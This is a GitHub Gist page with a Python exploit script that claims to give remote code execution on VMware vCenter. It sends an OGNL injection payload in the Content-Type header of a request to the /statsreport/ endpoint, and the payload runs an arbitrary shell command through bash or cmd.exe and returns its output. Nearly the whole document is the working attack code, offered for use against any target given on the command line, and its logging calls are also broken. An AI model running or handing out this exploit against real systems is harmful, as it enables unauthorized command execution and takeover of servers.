Created
November 7, 2017 20:15
-
-
Save atucom/47ad5d5d074d50e8d0f7f263a4a0514a to your computer and use it in GitHub Desktop.
Vmware Vcenter Remote Code Execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Written by @Atucom | |
# This exploits the Vmware Vcenter Remote code execution vulnerability | |
import argparse | |
import sys | |
import logging | |
import requests | |
try: | |
import requests | |
except ImportError as e: | |
print(e) | |
quit(1) | |
def main(): | |
"""Main Execution""" | |
# Setup help output | |
parser = argparse.ArgumentParser( | |
description='Checks remote server for VMware Vcenter Remote Code Execution', | |
epilog="Example: \n\t %s REMOTETARGET \'COMMAND HERE\'" % sys.argv[0]) | |
parser.add_argument( | |
'-d', '--debug', | |
help="Include debugging output", | |
action="store_const", | |
dest="loglevel", | |
const=logging.DEBUG, | |
default=logging.WARNING, | |
) | |
parser.add_argument( | |
'target', | |
help="The remote target IP or Hostname" | |
) | |
parser.add_argument( | |
'command', | |
help="The shell command to run" | |
) | |
args = parser.parse_args() # reference args with args.argument_name | |
logger = logging.basicConfig(level=args.loglevel) | |
if args.target and args.command: | |
host = args.target | |
command = args.command | |
url = 'https://{}/statsreport/'.format(host) | |
headers = {'Content-Type': '${(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'' + command + '\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'} | |
r = requests.get(url, headers=headers, verify=False) | |
logger.debug('REQUEST HEADERS: {}'.format(headers)) | |
logger.debug('RESPONSE HEADERS: {}'.format(r.headers)) | |
print(r.text) | |
if __name__ == '__main__': | |
sys.exit(main()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment